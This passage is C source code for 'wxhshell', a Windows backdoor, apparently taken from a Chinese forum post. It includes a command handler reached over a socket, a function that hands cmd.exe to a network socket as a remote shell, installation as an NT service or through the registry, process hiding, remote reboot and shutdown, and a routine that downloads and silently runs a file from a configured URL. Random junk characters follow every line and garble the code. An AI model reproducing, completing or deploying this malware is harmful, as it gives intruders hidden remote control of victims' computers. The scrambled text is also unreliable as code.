  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H$![]Ujq  
  } <BR^Dv07U  
  else { \Kl20?  
S?~0)EXj(  
    switch(cmd[0]) { /%@;t@BK4  
  >eJ <-3L;  
  // 帮助 1J?v\S$ma`  
  case '?': { 5EYGA\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .9~j%] q  
    break; ,H=k5WA4m  
  } vDjH $ U  
  // 安装 2 bc&sU)X  
  case 'i': { hU?DLl:bXF  
    if(Install()) MAh1tYs4D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I)rnF  
    else qng ~,m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a5*r1,  
    break; ImXYI7PL  
    } \&"C  
  // 卸载 1%Xh[  
  case 'r': { wh$bDT Cj  
    if(Uninstall()) SNj-h>&Mha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q}U+BTCZ  
    else 7|,L{~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : |'(T[~L  
    break; w~ Tg?RH:  
    } jJ$\WUQ.  
  // 显示 wxhshell 所在路径 QiK>]xJ'  
  case 'p': { qTsy'y;Z  
    char svExeFile[MAX_PATH]; zdN[Uc+1Bd  
    strcpy(svExeFile,"\n\r"); { I#>6  
      strcat(svExeFile,ExeFile); 65EMB%  
        send(wsh,svExeFile,strlen(svExeFile),0); 0 QTI;3  
    break; YT(N][V  
    } kx,.)qKk  
  // 重启 =p5DT  
  case 'b': { Ho &Q }<(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,!orD1,'  
    if(Boot(REBOOT)) h}O tz "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `/O`%6,f1!  
    else { 6tKrR{3#A  
    closesocket(wsh); QLqtE;;)JK  
    ExitThread(0); ?=1eHnP!R  
    } qb>ULP0  
    break; eL3 _Lz  
    } zxR]+9Zh  
  // 关机 j=r1JV @  
  case 'd': { IeYYG^V<A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g~hMOI?KK^  
    if(Boot(SHUTDOWN)) omE- c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =AIts[!qd  
    else { v[dU UR f  
    closesocket(wsh); xf,[F8 2y  
    ExitThread(0); 3h7RQ:lUi  
    } ^Jp T8B}  
    break; ^exU]5nvz  
    } CG1MT(V7?  
  // 获取shell }gbLWx'iG  
  case 's': { o/pw=R/):  
    CmdShell(wsh); z,,"yVk`,  
    closesocket(wsh); Xf u0d1b  
    ExitThread(0); Q-7?'\h  
    break; }c/p;<  
  } wGyVmC  
  // 退出 aTcz5g0"  
  case 'x': { 3FBLCD3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !se1W5ke#  
    CloseIt(wsh); ucN' zq  
    break; '=dQ$fs  
    } Oeh A3$|#  
  // 离开 7FC!^)x1  
  case 'q': { ,L ig6Z`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ddQ+EY@!  
    closesocket(wsh); wJC[[_"3 I  
    WSACleanup(); D$l!lRu8+L  
    exit(1); sq|\!T  
    break; ^{M$S0g|N  
        } u8-6s+ O  
  } c p"K?)  
  } gUklP(T=u  
K(;qd Ir  
  // 提示信息 ,rMf;/[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sVHF\{<  
} 4*XNk;Dx  
  } E'x"EN  
M9iX_4  
  return; KqI:g*H'x7  
} w6BBu0,KC  
D{(}&8a9  
// shell模块句柄 E;Z(v  
int CmdShell(SOCKET sock) +|/0sPW(  
{ Y`g oV  
STARTUPINFO si; :\^b6"}8  
ZeroMemory(&si,sizeof(si)); Qs1CK;+zU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p:08q B|uQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <K CI@  
PROCESS_INFORMATION ProcessInfo; .W{CJh  
char cmdline[]="cmd"; QAkK5,`vV.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |=0vgwd"S  
  return 0; 9pLe8D  
} x Lan1V  
OAXA<  
// 自身启动模式 IxbQ6  
int StartFromService(void) o GuAF q  
{ $;^|]/-  
typedef struct WARiw[  
{ s#^0[ Rt  
  DWORD ExitStatus; tVG;A&\,6  
  DWORD PebBaseAddress; i-|N6J  
  DWORD AffinityMask; 7 yE\,  
  DWORD BasePriority; [* <x)  
  ULONG UniqueProcessId; VeQGdyhY  
  ULONG InheritedFromUniqueProcessId; \5a.JfF  
}   PROCESS_BASIC_INFORMATION; UFj H8jSBx  
)Rn\6ka  
PROCNTQSIP NtQueryInformationProcess; e]~p:  
}m+Q(2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #D9.A7fCc5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \,13mB6  
i^DMnvV.  
  HANDLE             hProcess; [FBS|v#T  
  PROCESS_BASIC_INFORMATION pbi; k[f2`o=  
7r;1 6"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J4+K)gWB  
  if(NULL == hInst ) return 0; ]'5Xjcx  
KElEGW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L-9fo-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CcQc!`YC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )0/9 L  
/9br&s$B  
  if (!NtQueryInformationProcess) return 0; r^m&<)Ca  
r D@*xMW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a3 }V/MY  
  if(!hProcess) return 0; qSP &Fi  
0OO[@Ht  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "qgwuWbM  
:i&]J$^;  
  CloseHandle(hProcess); ,7d/KJ^7  
F^GNOD3J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $b`nV4p  
if(hProcess==NULL) return 0; c^I^jg2v  
Bz/ba *  
HMODULE hMod; 7(}'jZ  
char procName[255]; G2|jS@L#  
unsigned long cbNeeded; r;{$x  
rt^~ I \V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BL&AZv/T  
]W;6gmV  
  CloseHandle(hProcess); `df!-\#  
3CD#OCz7&  
if(strstr(procName,"services")) return 1; // 以服务启动 yeiIP  
Erw1y,mF  
  return 0; // 注册表启动 sFM$O232  
} &|x7T<,)  
\Y!#Y#c  
// 主模块 cF 5|Pf  
int StartWxhshell(LPSTR lpCmdLine) |$\K/]q -  
{ 1["i,8zB  
  SOCKET wsl; w=#'8ZuU  
BOOL val=TRUE; \-yI dKj  
  int port=0; ].s;Yxz  
  struct sockaddr_in door; >B6* `3v  
vv.E6D^x(  
  if(wscfg.ws_autoins) Install(); =mXC,<]  
[gT}<W  
port=atoi(lpCmdLine); JU17]gQ  
iyn9[>j e  
if(port<=0) port=wscfg.ws_port; Xf4~e(O  
=803rNe  
  WSADATA data; N# }A9t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v,iZnANZ&P  
=!t;e~^8]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S]fu M%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5, $6mU#=  
  door.sin_family = AF_INET; OMK,L:poC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JlYZ\  
  door.sin_port = htons(port); Q0(6n8i  
Ry >y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Po58@g  
closesocket(wsl); yx Om=V  
return 1; 6FzB-],  
} nG<oae6z"  
~Ykn|$_"I  
  if(listen(wsl,2) == INVALID_SOCKET) { m%6VwV7U  
closesocket(wsl); =p_*lC%N  
return 1; ,<IomA:q4  
} Nf([JP% 4  
  Wxhshell(wsl); 0Fb ];:a  
  WSACleanup(); 9)7$UQY  
0g[ %)C  
return 0; YVc cO~!8  
!~|-CF0z=  
} S L 5k^|  
a U\|ZCH\]  
// 以NT服务方式启动 R `ViRJh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #csP.z3^y  
{ Dnd; N/9  
DWORD   status = 0; Tc(=J7*r&  
  DWORD   specificError = 0xfffffff; Dizz ?O  
nh4G;qdU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &:l-;7d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `rVru= zoy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d/R!x{$-f  
  serviceStatus.dwWin32ExitCode     = 0; I(^0/]'  
  serviceStatus.dwServiceSpecificExitCode = 0; s $Vv  
  serviceStatus.dwCheckPoint       = 0; }. &ellNQ  
  serviceStatus.dwWaitHint       = 0;  U${W3Ra  
hnFpC1TO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {A/^;X{N^  
  if (hServiceStatusHandle==0) return; 8;?4rrS  
=sk[I0W  
status = GetLastError(); ~1+6gG  
  if (status!=NO_ERROR) zx%WV@O9  
{ V<UChD)N`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J'Pyn  
    serviceStatus.dwCheckPoint       = 0; vS\2zwb}  
    serviceStatus.dwWaitHint       = 0; *,JE[M  
    serviceStatus.dwWin32ExitCode     = status; o#p%IGG`  
    serviceStatus.dwServiceSpecificExitCode = specificError; V~/G,3:0y%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VaD+:b4  
    return; G$f%]A1  
  } I4"p]>Y"  
qS\#MMsTd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <kFLwF?PM'  
  serviceStatus.dwCheckPoint       = 0; [eD0L7 1[  
  serviceStatus.dwWaitHint       = 0; [XY%<P3D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J- S.m(  
} ;(?tlFc  
T^7Cv{[  
// 处理NT服务事件,比如:启动、停止 s21} a,eB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 67iI wY*8'  
{ xuv W6Q;  
switch(fdwControl) G{!er:Vwdh  
{ 5csh8i'V  
case SERVICE_CONTROL_STOP: O?X[&t  
  serviceStatus.dwWin32ExitCode = 0; YJv$,Z&;HO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mi] WZlg$  
  serviceStatus.dwCheckPoint   = 0; Mq$K[]F  
  serviceStatus.dwWaitHint     = 0; ULAr!  
  { eMRH*MyD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B`mJT*B[  
  } U|3!ixk>>w  
  return; Nhs!_-_I  
case SERVICE_CONTROL_PAUSE: zzZ EX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C=+9XfP0  
  break; ]zlA<w8  
case SERVICE_CONTROL_CONTINUE: hiS|&5#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E@ :9|5  
  break; ~snj92K  
case SERVICE_CONTROL_INTERROGATE: L"&T3i  
  break; Z8 v8@Y  
}; g[G /If  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^0.8-RT  
} 7Jlkn=9e:  
a%r!55.   
// 标准应用程序主函数 F_*']:p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W q<t+E[  
{ ,Iyc0  
.j:,WF<"l5  
// 获取操作系统版本 CI{2(.n4  
OsIsNt=GetOsVer(); S-Y{Vi"2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1@v <  
<}J !_$A  
  // 从命令行安装 `xzKRId0  
  if(strpbrk(lpCmdLine,"iI")) Install(); B4b'0p  
|H t5a.  
  // 下载执行文件 #zl1#TC{(  
if(wscfg.ws_downexe) { ~^obf(N`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kxhsDD$@p  
  WinExec(wscfg.ws_filenam,SW_HIDE); b11I$b #  
} K[y")ooE<j  
vR\E;V  
if(!OsIsNt) { w||t3!M+n  
// 如果时win9x,隐藏进程并且设置为注册表启动 OV]xo8a;  
HideProc(); 8lV:-"+5  
StartWxhshell(lpCmdLine); t.ulG *  
} M>i(p%  
else tQ9%rb  
  if(StartFromService()) i pn-HUrE@  
  // 以服务方式启动 DDr\Kv)k(  
  StartServiceCtrlDispatcher(DispatchTable); VwI  
else .~o{i_JH  
  // 普通方式启动 t,9+G<)>H  
  StartWxhshell(lpCmdLine); 2V@5:tf  
*5PQ>d G  
return 0; naaKAZ!S  
}
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只看该作者 1 发表于: 2006-10-10
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